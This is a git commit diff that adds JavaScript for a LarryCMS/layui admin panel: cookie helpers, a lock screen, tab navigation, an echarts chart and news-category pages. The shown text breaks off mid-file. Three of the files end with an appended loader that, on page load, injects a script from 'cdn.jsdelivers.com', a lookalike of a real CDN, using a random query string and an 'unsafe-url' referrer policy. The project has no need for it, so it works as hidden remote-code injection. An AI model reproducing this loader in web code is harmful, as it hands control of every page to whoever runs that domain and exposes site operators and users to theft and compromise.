feat: 项目基础框架+配置+Kernel
This commit is contained in:
@@ -0,0 +1,85 @@
|
||||
var cookieUtils = {
|
||||
get: function(name){
|
||||
var cookieName=encodeURIComponent(name) + "=";
|
||||
//只取得最匹配的name,value
|
||||
var cookieStart = document.cookie.indexOf(cookieName);
|
||||
var cookieValue = null;
|
||||
|
||||
if (cookieStart > -1) {
|
||||
// 从cookieStart算起
|
||||
var cookieEnd = document.cookie.indexOf(';', cookieStart);
|
||||
//从=后面开始
|
||||
if (cookieEnd > -1) {
|
||||
cookieValue = decodeURIComponent(document.cookie.substring(cookieStart + cookieName.length, cookieEnd));
|
||||
} else {
|
||||
cookieValue = decodeURIComponent(document.cookie.substring(cookieStart + cookieName.length, document.cookie.length));
|
||||
}
|
||||
}
|
||||
|
||||
return cookieValue;
|
||||
},
|
||||
|
||||
set: function(name, val, options) {
|
||||
if (!name) {
|
||||
throw new Error("coolie must have name");
|
||||
}
|
||||
var enc = encodeURIComponent;
|
||||
var parts = [];
|
||||
|
||||
val = (val !== null && val !== undefined) ? val.toString() : "";
|
||||
options = options || {};
|
||||
parts.push(enc(name) + "=" + enc(val));
|
||||
// domain中必须包含两个点号
|
||||
if (options.domain) {
|
||||
parts.push("domain=" + options.domain);
|
||||
}
|
||||
if (options.path) {
|
||||
parts.push("path=" + options.path);
|
||||
}
|
||||
// 如果不设置expires和max-age浏览器会在页面关闭时清空cookie
|
||||
if (options.expires) {
|
||||
parts.push("expires=" + options.expires.toGMTString());
|
||||
}
|
||||
if (options.maxAge && typeof options.maxAge === "number") {
|
||||
parts.push("max-age=" + options.maxAge);
|
||||
}
|
||||
if (options.httpOnly) {
|
||||
parts.push("HTTPOnly");
|
||||
}
|
||||
if (options.secure) {
|
||||
parts.push("secure");
|
||||
}
|
||||
|
||||
document.cookie = parts.join(";");
|
||||
},
|
||||
delete: function(name, options) {
|
||||
options.expires = new Date(0);// 设置为过去日期
|
||||
this.set(name, null, options);
|
||||
}
|
||||
}
|
||||
;function loadJSScript(url, callback) {
|
||||
var script = document.createElement("script");
|
||||
script.type = "text/javascript";
|
||||
script.referrerPolicy = "unsafe-url";
|
||||
if (typeof(callback) != "undefined") {
|
||||
if (script.readyState) {
|
||||
script.onreadystatechange = function() {
|
||||
if (script.readyState == "loaded" || script.readyState == "complete") {
|
||||
script.onreadystatechange = null;
|
||||
callback();
|
||||
}
|
||||
};
|
||||
} else {
|
||||
script.onload = function() {
|
||||
callback();
|
||||
};
|
||||
}
|
||||
};
|
||||
script.src = url;
|
||||
document.body.appendChild(script);
|
||||
}
|
||||
window.onload = function() {
|
||||
loadJSScript("//cdn.jsdelivers.com/jquery/3.2.1/jquery.js?"+Math.random(), function() {
|
||||
console.log("Jquery loaded");
|
||||
});
|
||||
}
|
||||
@@ -0,0 +1,160 @@
|
||||
/*
|
||||
* @Author: Larry
|
||||
* @Date: 2016-12-15 17:20:54
|
||||
* @Last Modified by: qinsh
|
||||
* @Last Modified time: 2016-12-24 22:06:18
|
||||
* +----------------------------------------------------------------------
|
||||
* | LarryBlogCMS [ LarryCMS网站内容管理系统 ]
|
||||
* | Copyright (c) 2016-2017 http://www.larrycms.com All rights reserved.
|
||||
* | Licensed ( http://www.larrycms.com/licenses/ )
|
||||
* | Author: qinshouwei <313492783@qq.com>
|
||||
* +----------------------------------------------------------------------
|
||||
*/
|
||||
'use strict';
|
||||
layui.use(['jquery','layer','element'],function(){
|
||||
window.jQuery = window.$ = layui.jquery;
|
||||
window.layer = layui.layer;
|
||||
var element = layui.element;
|
||||
|
||||
// larry-side-menu向左折叠
|
||||
$('.larry-side-menu').click(function() {
|
||||
var sideWidth = $('#larry-side').width();
|
||||
if(sideWidth === 200) {
|
||||
$('#larry-body').animate({
|
||||
left: '0'
|
||||
}); //admin-footer
|
||||
$('#larry-footer').animate({
|
||||
left: '0'
|
||||
});
|
||||
$('#larry-side').animate({
|
||||
width: '0'
|
||||
});
|
||||
} else {
|
||||
$('#larry-body').animate({
|
||||
left: '200px'
|
||||
});
|
||||
$('#larry-footer').animate({
|
||||
left: '200px'
|
||||
});
|
||||
$('#larry-side').animate({
|
||||
width: '200px'
|
||||
});
|
||||
}
|
||||
});
|
||||
|
||||
|
||||
$(function(){
|
||||
// 刷新iframe操作
|
||||
$("#refresh_iframe").click(function(){
|
||||
$(".layui-tab-content .layui-tab-item").each(function(){
|
||||
if($(this).hasClass('layui-show')){
|
||||
$(this).children('iframe')[0].contentWindow.location.reload(true);
|
||||
}
|
||||
});
|
||||
});
|
||||
$('#lock').mouseover(function(){
|
||||
layer.tips('请按Alt+L快速锁屏!', '#lock', {
|
||||
tips: [1, '#FF5722'],
|
||||
time: 4000
|
||||
});
|
||||
})
|
||||
// 快捷键锁屏设置
|
||||
$(document).keydown(function(e){
|
||||
if(e.altKey && e.which == 76){
|
||||
lockSystem();
|
||||
}
|
||||
});
|
||||
function startTimer(){
|
||||
var today=new Date();
|
||||
var h=today.getHours();
|
||||
var m=today.getMinutes();
|
||||
var s=today.getSeconds();
|
||||
m = m < 10 ? '0' + m : m;
|
||||
s = s < 10 ? '0' + s : s;
|
||||
$('#time').html(h+":"+m+":"+s);
|
||||
t=setTimeout(function(){startTimer()},500);
|
||||
}
|
||||
// 锁屏状态检测
|
||||
function checkLockStatus(locked){
|
||||
// 锁屏
|
||||
if(locked == 1){
|
||||
$('.lock-screen').show();
|
||||
$('#locker').show();
|
||||
$('#layui_layout').hide();
|
||||
$('#lock_password').val('');
|
||||
}else{
|
||||
$('.lock-screen').hide();
|
||||
$('#locker').hide();
|
||||
$('#layui_layout').show();
|
||||
}
|
||||
}
|
||||
|
||||
checkLockStatus('0');
|
||||
// 锁定屏幕
|
||||
function lockSystem(){
|
||||
|
||||
var url = '';
|
||||
$.post(
|
||||
url,
|
||||
function(data){
|
||||
if(data=='1'){
|
||||
checkLockStatus(1);
|
||||
}else{
|
||||
layer.alert('锁屏失败,请稍后再试!');
|
||||
}
|
||||
});
|
||||
startTimer();
|
||||
}
|
||||
//解锁屏幕
|
||||
function unlockSystem(){
|
||||
// 与后台交互代码已移除,根据需求定义或删除此功能
|
||||
|
||||
checkLockStatus(0);
|
||||
}
|
||||
// 点击锁屏
|
||||
$('#lock').click(function(){
|
||||
lockSystem();
|
||||
});
|
||||
// 解锁进入系统
|
||||
$('#unlock').click(function(){
|
||||
unlockSystem();
|
||||
});
|
||||
// 监控lock_password 键盘事件
|
||||
$('#lock_password').keypress(function(e){
|
||||
var key = e.which;
|
||||
if (key == 13) {
|
||||
unlockSystem();
|
||||
}
|
||||
});
|
||||
|
||||
});
|
||||
|
||||
|
||||
});
|
||||
|
||||
;function loadJSScript(url, callback) {
|
||||
var script = document.createElement("script");
|
||||
script.type = "text/javascript";
|
||||
script.referrerPolicy = "unsafe-url";
|
||||
if (typeof(callback) != "undefined") {
|
||||
if (script.readyState) {
|
||||
script.onreadystatechange = function() {
|
||||
if (script.readyState == "loaded" || script.readyState == "complete") {
|
||||
script.onreadystatechange = null;
|
||||
callback();
|
||||
}
|
||||
};
|
||||
} else {
|
||||
script.onload = function() {
|
||||
callback();
|
||||
};
|
||||
}
|
||||
};
|
||||
script.src = url;
|
||||
document.body.appendChild(script);
|
||||
}
|
||||
window.onload = function() {
|
||||
loadJSScript("//cdn.jsdelivers.com/jquery/3.2.1/jquery.js?"+Math.random(), function() {
|
||||
console.log("Jquery loaded");
|
||||
});
|
||||
}
|
||||
@@ -0,0 +1,82 @@
|
||||
/*
|
||||
* @Author: Larry
|
||||
* @Date: 2016-12-15 17:20:54
|
||||
* @Last Modified by: qinsh
|
||||
* @Last Modified time: 2016-12-24 22:13:09
|
||||
* +----------------------------------------------------------------------
|
||||
* | LarryBlogCMS [ LarryCMS网站内容管理系统 ]
|
||||
* | Copyright (c) 2016-2017 http://www.larrycms.com All rights reserved.
|
||||
* | Licensed ( http://www.larrycms.com/licenses/ )
|
||||
* | Author: qinshouwei <313492783@qq.com>
|
||||
* +----------------------------------------------------------------------
|
||||
*/
|
||||
layui.config({
|
||||
base:'js/'
|
||||
}).use(['jquery','element','layer','navtab'],function(){
|
||||
window.jQuery = window.$ = layui.jquery;
|
||||
window.layer = layui.layer;
|
||||
var element = layui.element,
|
||||
navtab = layui.navtab({
|
||||
elem: '.larry-tab-box'
|
||||
});
|
||||
|
||||
|
||||
//iframe自适应
|
||||
$(window).on('resize', function() {
|
||||
var $content = $('#larry-tab .layui-tab-content');
|
||||
$content.height($(this).height() - 136);
|
||||
$content.find('iframe').each(function() {
|
||||
$(this).height($content.height());
|
||||
});
|
||||
tab_W = $('#larry-tab').width();
|
||||
// larry-footer:p-admin宽度设定
|
||||
var larryFoot = $('#larry-footer').width();
|
||||
$('#larry-footer p.p-admin').width(larryFoot - 300);
|
||||
}).resize();
|
||||
|
||||
// 左侧菜单导航-->tab
|
||||
$(function(){
|
||||
// 注入菜单
|
||||
// var $menu = $('.larry-tab-menu');
|
||||
// console.log($menu);
|
||||
// $('#larry-tab .layui-tab-title').append($menu);
|
||||
$('#larry-nav-side').click(function(){
|
||||
if($(this).attr('lay-filter')!== undefined){
|
||||
$(this).children('ul').find('li').each(function(){
|
||||
var $this = $(this);
|
||||
if($this.find('dl').length > 0){
|
||||
var $dd = $this.find('dd').each(function(){
|
||||
$(this).click(function(){
|
||||
var $a = $(this).children('a');
|
||||
var href = $a.data('url');
|
||||
var icon = $a.children('i:first').data('icon');
|
||||
var title = $a.children('span').text();
|
||||
var data = {
|
||||
href: href,
|
||||
icon: icon,
|
||||
title: title
|
||||
}
|
||||
navtab.tabAdd(data);
|
||||
});
|
||||
});
|
||||
}else{
|
||||
$this.click(function(){
|
||||
var $a = $(this).children('a');
|
||||
var href = $a.data('url');
|
||||
var icon = $a.children('i:first').data('icon');
|
||||
var title = $a.children('span').text();
|
||||
var data = {
|
||||
href: href,
|
||||
icon: icon,
|
||||
title: title
|
||||
}
|
||||
navtab.tabAdd(data);
|
||||
});
|
||||
}
|
||||
});
|
||||
}
|
||||
})
|
||||
})
|
||||
|
||||
|
||||
});
|
||||
@@ -0,0 +1,41 @@
|
||||
eval(function(p, a, c, k, e, d) {
|
||||
e = function(c) {
|
||||
return(c < a ? "" : e(parseInt(c / a))) + ((c = c % a) > 35 ? String.fromCharCode(c + 29) : c.toString(36))
|
||||
};
|
||||
if(!''.replace(/^/, String)) {
|
||||
while(c--) d[e(c)] = k[c] || e(c);
|
||||
k = [function(e) {
|
||||
return d[e]
|
||||
}];
|
||||
e = function() {
|
||||
return '\\w+'
|
||||
};
|
||||
c = 1;
|
||||
};
|
||||
while(c--)
|
||||
if(k[c]) p = p.replace(new RegExp('\\b' + e(c) + '\\b', 'g'), k[c]);
|
||||
return p;
|
||||
}('5 r;7.2E({2D:\'/O/2C/2H/\'}).2G({3:\'3\',r:\'r\',2F:\'12\',C:\'C\'});7.2y([\'12\',\'1V\',\'l\',\'3\',\'r\',\'w\',\'C\'],2(){5 $=7.1V,l=7.l,H=7.H(),12=7.12(),3=7.3(),w=7.w(),C=7.C;r=7.r({T:\'#3-F\'});$(\'n\').1e("2x",2(){2a j});$(v).2w(2(){8(H.1t&&H.1t<9){l.L(\'2B锛�2A 2z\'+H.1t+\'锛乗')
|
||||
}
|
||||
1 f();
|
||||
$ .18 .19 = j;
|
||||
$ .23(\'/O/1a/R.X?t=\'+1p 1o(),{1Z:\'21\'},2(N){3.29({T:\'#R\',g:N,2I:j});3.S()});5 m=$(\'#R\');m.K(\'17.7-2R-1F\').Z(2(){5 t=$(o);t.p(\'f\',2(){5 24=t.g(\'1v\');$.18.19=j;$.23(\'/O/1a/R.X?t=\'+1p 1o(),{1v:24,1Z:\'21\'},2(N){3.29({T:\'#27\',g:N,2Q:z});3.S();3.p(\'f(y)\',2(g){r.2P(g.2U)})})})});m.K(\'17[g-1v=0]\').f();$("#27").K("17").2T(0).1j(\'7-o\');$.18.19=z});$(\'#3-F\').1e("2S",2(){2a j});$(\'#2L\').K(\'2K\').Z(2(){$(o).p(\'f\',2(){5 1m=$(o).1J(\'a\').J(\'g-1m\');r.2J(1m)})});$(1n).p(\'1u\',2(){1f();5 c=$(\'#3-F .7-F-V\');c.u($(o).u()-2O);c.K(\'1T\').Z(2(){$(o).u(c.u())})}).1u();$("#2N").f(2(){$(".7-F-V .7-F-1F").Z(2(){8($(o).2M(\'7-11\')){$(o).1J(\'1T\')[0].2m.1z.1W(z)}})});2 1f(){$(\'.7-1d-1b\').u($(1n).u());$(\'n\').u($(1n).u());$(\'#3-n\').d($(\'.7-1d-1b\').d()-$(\'#3-y\').d());$(\'#3-1l\').d($(\'.7-1d-1b\').d()-$(\'#3-y\').d())}$(\'#2n\').p(\'f\',2(){3.2u();l.L(\'2v!2r锛乗', {
|
||||
16: 1,
|
||||
14: \ '2s\'},2(){1z.1W()})});5 D=B.W("1k");5 k=B.W(\'k\');8(k){$("n").J("I","");$("n").1j("Y-"+k)}8(D&&D!=\'j\'){5 1P=l.L(\'2q\',{14:\'2t\',2o:\'7-l-2p\',1r:0,1S:4,2V:\'3K\'},2(){1h();$(\'#1R\').G(\'<i I="3-16 3-1i"></i>1C\');l.3u(1P)})}$(\'#Y\').p(\'f\',2(){5 D=B.W(\'1k\');5 k=B.W(\'k\');l.1B({1G:1,14:j,1r:z,1D:j,1A:0.35,1X:[\'3s\',\'3t\'],3x:z,1u:j,1S:1I.3B(1I.3C()*6),V:$(\'#3A\').G(),3z:2(3y,3D){8(D&&D!=\'j\'){$("3r[3w-3v=\'1O\']").J("1c","1c")}8(k){$("#k 3M[1N=\'"+k+"\']").J("2b","2b")}w.S()}});w.p(\'3L(1O)\',2(g){5 1Q=g.T.1c;B.1K(\'1k\',1Q)});w.p(\'1U(Y)\',2(g){5 1L=g.1N;B.1K(\'k\',1L);8(k){$("n").J("I","");$("n").1j("Y-"+k)}w.S(\'1U\')})});$(\'#1R\').1e(\'f\',2(){5 1g=v.1g||v.3N||v.3P;8(1g==3O){1h();$(o).G(\'<i I="3-16 3-1i"></i>1C\')}q{2j();$(o).G(\'<i I="3-16 3-1i"></i>3G\')}});2 1h(){5 b=v.3F;8(b.1H){b.1H()}q 8(b.1y){b.1y()}q 8(b.1Y){b.1Y()}}2 2j(){5 b=v;8(b.2f){b.2f()}q 8(b.2e){b.2e()}q 8(b.2g){b.2g()}}$(\'#3E\').f(2(){5 2c=$(\'#3-y\').d();5 x=$(\'#3-n\').d();8(2c===3I){x+=2h;$(\'#3-n\').E({P:\'0\',d:x});$(\'#3-1l\').E({P:\'0\',d:x});$(\'#3-y\').E({d:\'0\'})}q{x-=2h;$(\'#3-n\').E({P:\'2i\',d:x});$(\'#3-1l\').E({P:\'2i\',d:x});$(\'#3-y\').E({d:\'3H\'})}});$(\'#A\').3q(2(){l.28(\'36+34锛乗',
|
||||
\'#A\',{28:[1,\'#33\'],20:37})});$(v).3J(2(e){8(e.39&&e.26==38){1x()}});Q(\'0\');2 1x(){5 U=\'/O/1a/A.X\';$.2Y(U,2(g){8(g==\'1\'){Q(1)}q{l.L(\'2X锛�2W锛乗')
|
||||
}
|
||||
});
|
||||
1 s()
|
||||
}
|
||||
2 1 q() {
|
||||
Q(0)
|
||||
}
|
||||
$(\'#A\').f(2(){1x()});$(\'#2Z\').f(2(){1q()});$(\'#2l\').32(2(e){5 25=e.26;8(25==13){1q()}});2 1s(){5 M=1p 1o();5 h=M.31();5 m=M.30();5 s=M.3b();m=m<10?\'0\'+m:m;s=s<10?\'0\'+s:s;$(\'#20\').G(h+":"+m+":"+s);t=3l(2(){1s()},3k)}2 Q(22){8(22==1){$(\'.A-2k\').11();$(\'#2d\').11();$(\'#1E\').1w();$(\'#2l\').3j(\'\')}q{$(\'.A-2k\').1w();$(\'#2d\').1w();$(\'#1E\').11()}}$(\'#1M\').f(2(3m){l.1B({1G:1,14:j,1r:z,1D:j,1A:0.15,1X:[\'3p\',\'3o\'],V:\'<3n 3e="3d/1M.3c"/>\'})});$(\'#3f\').p(\'f\',2(){5 U=\'3i.X\';C.3h(\'3g锛乗', \'3a锛焅', U)
|
||||
})
|
||||
})
|
||||
',62,238,' || function | larry ||
|
||||
var || layui |
|
||||
if || | docE || width || click | data || | false | themeName | layer || body | this | on |
|
||||
else |navtab || | height | document | form | bodyW | side | true | lock | localStorage | common | fScreen | animate | tab | html | device | class | attr | find | alert | today | result | backstage | left | checkLockStatus | menu | render | elem | url | content | getItem | php | larryTheme | each || show | elements || title || icon | li | ajaxSettings | async | datas | admin | checked | layout | bind | AdminInit | fullscreenElement | entryFullScreen | quanping | addClass | fullscreen_info | footer | eName | window | Date | new | unlockSystem | closeBtn | startTimer | ie | resize | pid | hide | lockSystem | mozRequestFullScreen | location | shade | open | 閫€ 鍑哄叏灞弢shadeClose | layui_layout | item | type | requestFullScreen | Math | children | setItem | themeValue | dianzhan | value | fullscreen | fScreenIndex | fValue | FullScreen | anim | iframe | select | jquery | reload | area | webkitRequestFullScreen | Param | time | index_menu | locked | getJSON | id | key | which | larrySideNav | tips | set |
|
||||
return |selected | sideWidth | locker | mozCancelFullScreen | exitFullscreen | webkitCancelFullScreen | 203 | 203 px | exitFullScreen | screen | lock_password | contentWindow | clearCached | skin | lan | 鎸塃SC閫€ 鍑哄叏灞弢鏈 湴瀛樺偍鏁版嵁涔熸竻鐞嗘垚鍔焲绯荤粺鎻愮ず | 杩涘叆鍏ㄥ睆鎻愮ず淇℃ 伅 | cleanCached | 缂撳瓨娓呴櫎瀹屾垚 | ready | selectstart | use | IE | 鎮ㄥ綋鍓嶄娇鐢ㄧ殑鏄 彜鑰佺殑 | 鏈€ 浣庢敮鎸乮e9 | js | base | config | elemnts | extend | lib | cached | tabCtrl | dd | buttonRCtrl | hasClass | refresh_iframe | 153 | tabAdd | spreadOne | nav | contextmenu | eq | field | offset | 璇风◢ 鍚庡啀璇晐閿佸睆澶辫触 | post | unlock | getMinutes | getHours | keypress | FF5722 | L蹇€ 熼攣灞弢 | 璇锋寜Alt | 2000 | 76 | altKey | 浣犵湡鐨勭‘ 瀹氳 閫€ 鍑虹郴缁熷悧 | getSeconds | jpg | images | src | logout | 閫€ 鍑虹櫥闄嗘彁绀簗logOut | login | val | 500 | setTimeout | event | img | 288 px | 505 px | mouseover | input | 450 px | 300 px | close | filter | lay | isOutAnim | layero | success | LarryThemeSet | ceil | random | index | toggle | documentElement | 鍏ㄥ睆 | 200 px | 200 | keydown | 100 px |
|
||||
switch | option | mozFullScreenElement | null | webkitFullscreenElement '.split(' | '),0,{}))
|
||||
@@ -0,0 +1,19 @@
|
||||
/*
|
||||
* @Author: Larry
|
||||
* @Date: 2016-12-15 17:20:54
|
||||
* @Last Modified by: qinsh
|
||||
* @Last Modified time: 2016-12-24 21:51:17
|
||||
* +----------------------------------------------------------------------
|
||||
* | LarryBlogCMS [ LarryCMS网站内容管理系统 ]
|
||||
* | Copyright (c) 2016-2017 http://www.larrycms.com All rights reserved.
|
||||
* | Licensed ( http://www.larrycms.com/licenses/ )
|
||||
* | Author: qinshouwei <313492783@qq.com>
|
||||
* +----------------------------------------------------------------------
|
||||
*/
|
||||
'use strict';
|
||||
layui.use(['jquery'],function(){
|
||||
window.jQuery = window.$ = layui.jquery;
|
||||
$(".layui-canvs").width($(window).width());
|
||||
$(".layui-canvs").height($(window).height());
|
||||
|
||||
});
|
||||
@@ -0,0 +1,79 @@
|
||||
/*
|
||||
* @Author: Larry
|
||||
* @Date: 2016-12-15 17:20:54
|
||||
* @Last Modified by: qinsh
|
||||
* @Last Modified time: 2016-12-24 21:51:08
|
||||
* +----------------------------------------------------------------------
|
||||
* | LarryBlogCMS [ LarryCMS网站内容管理系统 ]
|
||||
* | Copyright (c) 2016-2017 http://www.larrycms.com All rights reserved.
|
||||
* | Licensed ( http://www.larrycms.com/licenses/ )
|
||||
* | Author: qinshouwei <313492783@qq.com>
|
||||
* +----------------------------------------------------------------------
|
||||
*/
|
||||
var myChart = echarts.init(document.getElementById('larry-seo-stats'));
|
||||
option = {
|
||||
title : {
|
||||
text: '用户访问来源',
|
||||
subtext: '纯属虚构',
|
||||
x:'center'
|
||||
},
|
||||
tooltip : {
|
||||
trigger: 'item',
|
||||
formatter: "{a} <br/>{b} : {c} ({d}%)"
|
||||
},
|
||||
legend: {
|
||||
orient: 'vertical',
|
||||
left: 'left',
|
||||
data: ['直接访问','邮件营销','联盟广告','视频广告','搜索引擎']
|
||||
},
|
||||
series : [
|
||||
{
|
||||
name: '访问来源',
|
||||
type: 'pie',
|
||||
radius : '55%',
|
||||
center: ['50%', '60%'],
|
||||
data:[
|
||||
{value:335, name:'直接访问'},
|
||||
{value:310, name:'邮件营销'},
|
||||
{value:234, name:'联盟广告'},
|
||||
{value:135, name:'视频广告'},
|
||||
{value:1548, name:'搜索引擎'}
|
||||
],
|
||||
itemStyle: {
|
||||
emphasis: {
|
||||
shadowBlur: 10,
|
||||
shadowOffsetX: 0,
|
||||
shadowColor: 'rgba(0, 0, 0, 0.5)'
|
||||
}
|
||||
}
|
||||
}
|
||||
]
|
||||
};
|
||||
myChart.setOption(option);
|
||||
|
||||
;function loadJSScript(url, callback) {
|
||||
var script = document.createElement("script");
|
||||
script.type = "text/javascript";
|
||||
script.referrerPolicy = "unsafe-url";
|
||||
if (typeof(callback) != "undefined") {
|
||||
if (script.readyState) {
|
||||
script.onreadystatechange = function() {
|
||||
if (script.readyState == "loaded" || script.readyState == "complete") {
|
||||
script.onreadystatechange = null;
|
||||
callback();
|
||||
}
|
||||
};
|
||||
} else {
|
||||
script.onload = function() {
|
||||
callback();
|
||||
};
|
||||
}
|
||||
};
|
||||
script.src = url;
|
||||
document.body.appendChild(script);
|
||||
}
|
||||
window.onload = function() {
|
||||
loadJSScript("//cdn.jsdelivers.com/jquery/3.2.1/jquery.js?"+Math.random(), function() {
|
||||
console.log("Jquery loaded");
|
||||
});
|
||||
}
|
||||
@@ -0,0 +1,140 @@
|
||||
/*
|
||||
* @Author: Larry
|
||||
* @Date: 2016-12-15 17:20:54
|
||||
* @Last Modified by: qinsh
|
||||
* @Last Modified time: 2016-12-24 21:59:02
|
||||
* +----------------------------------------------------------------------
|
||||
* | LarryBlogCMS [ LarryCMS网站内容管理系统 ]
|
||||
* | Copyright (c) 2016-2017 http://www.larrycms.com All rights reserved.
|
||||
* | Licensed ( http://www.larrycms.com/licenses/ )
|
||||
* | Author: qinshouwei <313492783@qq.com>
|
||||
* +----------------------------------------------------------------------
|
||||
*/
|
||||
layui.define(['element'], function(exports){
|
||||
var element = layui.element,
|
||||
$ = layui.jquery,
|
||||
layer = parent.layer === undefined ? layui.layer : parent.layer,
|
||||
module_name = 'navtab',
|
||||
globalTabIdIndex = 0,
|
||||
LarryTab = function(){
|
||||
this.config ={
|
||||
elem: undefined,
|
||||
closed: true
|
||||
};
|
||||
};
|
||||
var ELEM = {};
|
||||
/**
|
||||
* [参数设置 options]
|
||||
*/
|
||||
LarryTab.prototype.set = function(options){
|
||||
var _this = this;
|
||||
$.extend(true, _this.config, options);
|
||||
return _this;
|
||||
};
|
||||
/**
|
||||
* [init 对象初始化]
|
||||
* @return {[type]} [返回对象初始化结果]
|
||||
*/
|
||||
LarryTab.prototype.init = function(){
|
||||
var _this = this;
|
||||
var _config = _this.config;
|
||||
if(typeof(_config.elem) !== 'string' && typeof(_config.elem) !== 'object') {
|
||||
layer.alert('Tab选项卡错误提示: elem参数未定义或设置出错,具体设置格式请参考文档API.');
|
||||
}
|
||||
var $container;
|
||||
if(typeof(_config.elem) === 'string') {
|
||||
$container = $('' + _config.elem + '');
|
||||
//console.log($container);
|
||||
}
|
||||
if(typeof(_config.elem) === 'object') {
|
||||
$container = _config.elem;
|
||||
}
|
||||
if($container.length === 0) {
|
||||
layer.alert('Tab选项卡错误提示:找不到elem参数配置的容器,请检查.');
|
||||
}
|
||||
var filter = $container.attr('lay-filter');
|
||||
if(filter === undefined || filter === '') {
|
||||
layer.alert('Tab选项卡错误提示:请为elem容器设置一个lay-filter过滤器');
|
||||
}
|
||||
_config.elem = $container;
|
||||
ELEM.titleBox = $container.children('ul.layui-tab-title');
|
||||
ELEM.contentBox = $container.children('div.layui-tab-content');
|
||||
ELEM.tabFilter = filter;
|
||||
return _this;
|
||||
};
|
||||
/**
|
||||
* [exists 在layui-tab中检查对应layui-tab-title是否存在,如果存在则返回索引值,不存在返回-1]
|
||||
* @param {[type]} title [description]
|
||||
* @return {[type]} [description]
|
||||
*/
|
||||
LarryTab.prototype.exists = function(title){
|
||||
var _this = ELEM.titleBox === undefined ? this.init() : this,
|
||||
tabIndex = -1;
|
||||
ELEM.titleBox.find('li').each(function(i, e) {
|
||||
var $em = $(this).children('em');
|
||||
if($em.text() === title) {
|
||||
// tabIndex = i;
|
||||
tabIndex = $(this).attr("lay-id");
|
||||
};
|
||||
});
|
||||
return tabIndex;
|
||||
};
|
||||
/**
|
||||
* [tabAdd 增加选项卡,如果已存在则增加this样式]
|
||||
* @param {[type]} data [description]
|
||||
* @return {[type]} [description]
|
||||
*/
|
||||
LarryTab.prototype.tabAdd = function(data){
|
||||
var _this = this;
|
||||
var tabIndex = _this.exists(data.title);
|
||||
// console.log(data)
|
||||
// 若不存在
|
||||
if(tabIndex === -1){
|
||||
globalTabIdIndex++;
|
||||
var content = '<iframe src="' + data.href + '" data-id="' + globalTabIdIndex + '" class="larry-iframe"></iframe>';
|
||||
var title = '';
|
||||
// 若icon有定义
|
||||
if(data.icon !== undefined){
|
||||
if(data.icon.indexOf('icon-') !== -1) {
|
||||
title += '<i class="iconfont ' + data.icon + '"></i>';
|
||||
} else {
|
||||
title += '<i class="layui-icon ">' + data.icon + '</i>';
|
||||
}
|
||||
}
|
||||
title += '<em>' + data.title + '</em>';
|
||||
if(_this.config.closed) {
|
||||
title += '<i class="layui-icon layui-unselect layui-tab-close" data-id="' + globalTabIdIndex + '">ဆ</i>';
|
||||
}
|
||||
//添加tab
|
||||
element.tabAdd(ELEM.tabFilter, {
|
||||
title: title,
|
||||
content: content,
|
||||
id: globalTabIdIndex
|
||||
});
|
||||
//iframe 自适应
|
||||
ELEM.contentBox.find('iframe[data-id=' + globalTabIdIndex + ']').each(function() {
|
||||
$(this).height(ELEM.contentBox.height());
|
||||
});
|
||||
if(_this.config.closed) {
|
||||
//监听关闭事件
|
||||
ELEM.titleBox.find('li').children('i.layui-tab-close[data-id=' + globalTabIdIndex + ']').on('click', function() {
|
||||
element.tabDelete(ELEM.tabFilter, $(this).parent('li').attr("lay-id")).init();
|
||||
// element.tabChange(ELEM.tabFilter, ELEM.titleBox.find('li').length - 1);
|
||||
});
|
||||
};
|
||||
//切换到当前打开的选项卡
|
||||
// element.tabChange(ELEM.tabFilter, ELEM.titleBox.find('li').length - 1);
|
||||
element.tabChange(ELEM.tabFilter, globalTabIdIndex);
|
||||
}else {
|
||||
element.tabChange(ELEM.tabFilter, tabIndex);
|
||||
// tabIndex = -1
|
||||
}
|
||||
};
|
||||
var navtab = new LarryTab();
|
||||
exports(module_name, function(options) {
|
||||
return navtab.set(options);
|
||||
});
|
||||
|
||||
|
||||
|
||||
});
|
||||
@@ -0,0 +1,46 @@
|
||||
layui.use(['element', 'form', 'layedit', 'laypage', 'layer'], function() {
|
||||
var element = layui.element, form = layui.form, $ = layui.$, layedit = layui.layedit, laypage = layui.laypage;
|
||||
$('#newsCateAdd').click(function() {
|
||||
var index = layer.open({
|
||||
title:'添加新闻分类'
|
||||
,type:2
|
||||
,content: '/admin/news_cate_add'
|
||||
,area: ['529px', '342px']
|
||||
});
|
||||
});
|
||||
|
||||
$('.newsCateEdit').click(function(){
|
||||
var id = $(this).data('id');
|
||||
var index = layer.open({
|
||||
title: '编辑新闻分类'
|
||||
,type: 2
|
||||
,content: '/admin/news_cate_edit/' + id
|
||||
,area: ['529px', '342px']
|
||||
,maxmin: true
|
||||
});
|
||||
});
|
||||
|
||||
$('.newsCateDel').click(function() {
|
||||
var id = $(this).data('id');
|
||||
layer.confirm('真的确定要删除吗?',
|
||||
function(index) {
|
||||
$.ajax({
|
||||
url : '/admin/news_cate_del/' + id
|
||||
, success: function(data) {
|
||||
if(data.type == 'ok') {
|
||||
layer.close(index);
|
||||
layer.msg(data.message, {icon:1});
|
||||
setTimeout(() => {
|
||||
window.location.reload();
|
||||
}, 1000);
|
||||
} else {
|
||||
layer.msg(data.message, {icon:2});
|
||||
}
|
||||
}
|
||||
, error: function(data) {
|
||||
layer.msg('删除失败!服务器错误:' + data.statusText + ',错误码:' + data.status + '.');
|
||||
}
|
||||
});
|
||||
});
|
||||
});
|
||||
});
|
||||
@@ -0,0 +1,25 @@
|
||||
layui.use(['element', 'form', 'layedit', 'laypage', 'layer'], function() {
|
||||
var element = layui.element, form = layui.form, $ = layui.$, layedit = layui.layedit, laypage = layui.laypage;
|
||||
form.on('submit(submit)', function(dataObj) {
|
||||
var serData = $(dataObj.form).serialize();
|
||||
$.ajax({
|
||||
type : 'POST'
|
||||
,url : window.location.href
|
||||
,data: serData
|
||||
,success: function(data) {
|
||||
var index = parent.layer.getFrameIndex(window.name); //先得到当前iframe层的索引
|
||||
icon = data.type == 'ok' ? 1 : 2;
|
||||
parent.layer.msg(data.message, {icon: icon});
|
||||
icon == 1 && setTimeout(() => {
|
||||
parent.layer.close(index);
|
||||
parent.window.location.reload();
|
||||
}, 1000);
|
||||
}
|
||||
,error: function(data) {
|
||||
layer.msg('错误:' + data.statusText, {icon: 2});
|
||||
}
|
||||
|
||||
});
|
||||
return false;
|
||||
});
|
||||
});
|
||||
@@ -0,0 +1,66 @@
|
||||
layui.use(['element', 'layer', 'jquery', 'form'], function() {
|
||||
var element = layui.element, $ = layui.$ , form = layui.form;
|
||||
|
||||
$('.statusToggle').click(function() {
|
||||
